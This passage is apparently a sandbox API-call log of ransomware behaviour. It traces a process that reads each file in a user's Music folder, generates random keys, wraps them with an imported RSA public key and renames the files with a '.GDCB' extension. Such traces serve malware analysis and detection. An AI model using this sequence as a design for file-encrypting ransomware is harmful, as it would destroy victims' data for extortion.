lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.220] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.220] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.220] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x18f68, lpOverlapped=0x0) returned 1 [0141.270] VirtualAlloc (lpAddress=0x0, dwSize=0x18f70, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.277] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\xX723ly.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\xx723ly.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\xX723ly.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\xx723ly.m4a.gdcb")) returned 1 [0141.278] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0141.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.281] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.281] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.281] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.281] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0141.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.284] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.284] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.284] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.292] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8480) returned 1 [0141.292] CryptGetKeyParam (in: hKey=0x28a8480, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.292] CryptEncrypt (in: hKey=0x28a8480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.293] GetLastError () returned 0x0 [0141.293] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.293] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0141.301] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8280) returned 1 [0141.301] CryptGetKeyParam (in: hKey=0x28a8280, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.301] CryptEncrypt (in: hKey=0x28a8280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.302] GetLastError () returned 0x0 [0141.302] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0141.302] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\YpQES.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ypqes.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.302] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.302] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.302] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xe3a7, lpOverlapped=0x0) returned 1 [0141.313] VirtualAlloc (lpAddress=0x0, dwSize=0xe3b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.318] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\YpQES.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ypqes.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\YpQES.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ypqes.mp3.gdcb")) returned 1 [0141.319] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.322] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.322] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.322] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0141.325] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.325] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.325] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.325] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.325] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0141.335] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a83c0) returned 1 [0141.335] CryptGetKeyParam (in: hKey=0x28a83c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.335] CryptEncrypt (in: hKey=0x28a83c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.335] GetLastError () returned 0x0 [0141.335] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.335] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0141.344] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a82c0) returned 1 [0141.344] CryptGetKeyParam (in: hKey=0x28a82c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.344] CryptEncrypt (in: hKey=0x28a82c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.344] GetLastError () returned 0x0 [0141.344] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.344] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\yWYXQBe8hOW.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ywyxqbe8how.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.345] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.345] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.345] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x18a2f, lpOverlapped=0x0) returned 1 [0141.356] VirtualAlloc (lpAddress=0x0, dwSize=0x18a30, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.363] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\yWYXQBe8hOW.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ywyxqbe8how.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\yWYXQBe8hOW.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ywyxqbe8how.mp3.gdcb")) returned 1 [0141.364] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.366] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.367] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.367] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.367] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.367] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0141.369] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.369] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.369] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.370] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.378] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8300) returned 1 [0141.378] CryptGetKeyParam (in: hKey=0x28a8300, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.379] CryptEncrypt (in: hKey=0x28a8300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.379] GetLastError () returned 0x0 [0141.379] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.379] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.387] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8440) returned 1 [0141.388] CryptGetKeyParam (in: hKey=0x28a8440, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.388] CryptEncrypt (in: hKey=0x28a8440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.388] GetLastError () returned 0x0 [0141.388] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.388] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\ZHBVSc7E1Gs.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\zhbvsc7e1gs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.388] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.389] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.389] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x9e1a, lpOverlapped=0x0) returned 1 [0141.400] VirtualAlloc (lpAddress=0x0, dwSize=0x9e20, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.404] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\ZHBVSc7E1Gs.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\zhbvsc7e1gs.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\ZHBVSc7E1Gs.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\zhbvsc7e1gs.m4a.gdcb")) returned 1 [0141.405] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.408] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.408] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.408] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.411] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.411] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.411] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.411] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.419] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8800) returned 1 [0141.419] CryptGetKeyParam (in: hKey=0x28a8800, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.419] CryptEncrypt (in: hKey=0x28a8800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.419] GetLastError () returned 0x0 [0141.419] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.419] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.426] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8580) returned 1 [0141.426] CryptGetKeyParam (in: hKey=0x28a8580, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.426] CryptEncrypt (in: hKey=0x28a8580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.426] GetLastError () returned 0x0 [0141.426] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.426] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\_gco.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\_gco.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.427] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.427] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xb53f, lpOverlapped=0x0) returned 1 [0141.439] VirtualAlloc (lpAddress=0x0, dwSize=0xb540, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.444] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\_gco.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\_gco.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\_gco.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\_gco.m4a.gdcb")) returned 1 [0141.445] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0141.448] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.448] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.448] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0141.448] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.448] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0141.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.450] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0141.450] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.451] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0141.459] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28a8f00) returned 1 [0141.459] CryptGetKeyParam (in: hKey=0x28a8f00, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0141.459] CryptEncrypt (in: hKey=0x28a8f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0141.459] GetLastError () returned 0x0 [0141.459] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.459] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0141.467] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28a8780) returned 1 [0141.467] CryptGetKeyParam (in: hKey=0x28a8780, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0141.467] CryptEncrypt (in: hKey=0x28a8780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0141.468] GetLastError () returned 0x0 [0141.468] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.468] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\v3kq.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\v3kq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0141.468] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.468] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.468] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0x17464, lpOverlapped=0x0) returned 1 [0141.478] VirtualAlloc (lpAddress=0x0, dwSize=0x17470, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.484] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\v3kq.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\v3kq.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\v3kq.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\v3kq.mp3.gdcb")) returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.487] CryptAcquireContextW (in: phProv=0x285f5ac, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f5ac*=0x2ecc18) returned 1 [0141.490] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.490] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.490] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f6fc | out: pbBuffer=0x285f6fc) returned 1 [0141.490] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.490] CryptAcquireContextW (in: phProv=0x285f5ac, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f5ac*=0x2ecc18) returned 1 [0141.493] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.493] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f6c8 | out: pbBuffer=0x285f6c8) returned 1 [0141.493] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.493] CryptAcquireContextW (in: phProv=0x285f59c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f59c*=0x2ecc18) returned 1 [0141.504] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f5a0 | out: phKey=0x285f5a0*=0x28a8380) returned 1 [0141.504] CryptGetKeyParam (in: hKey=0x28a8380, dwParam=0x8, pbData=0x285f58c, pdwDataLen=0x285f594, dwFlags=0x0 | out: pbData=0x285f58c*=0x800, pdwDataLen=0x285f594*=0x4) returned 1 [0141.504] CryptEncrypt (in: hKey=0x28a8380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f714*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f714*=0x100) returned 1 [0141.504] GetLastError () returned 0x0 [0141.504] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.504] CryptAcquireContextW (in: phProv=0x285f59c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f59c*=0x2ecc18) returned 1 [0141.512] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f5a0 | out: phKey=0x285f5a0*=0x28a81c0) returned 1 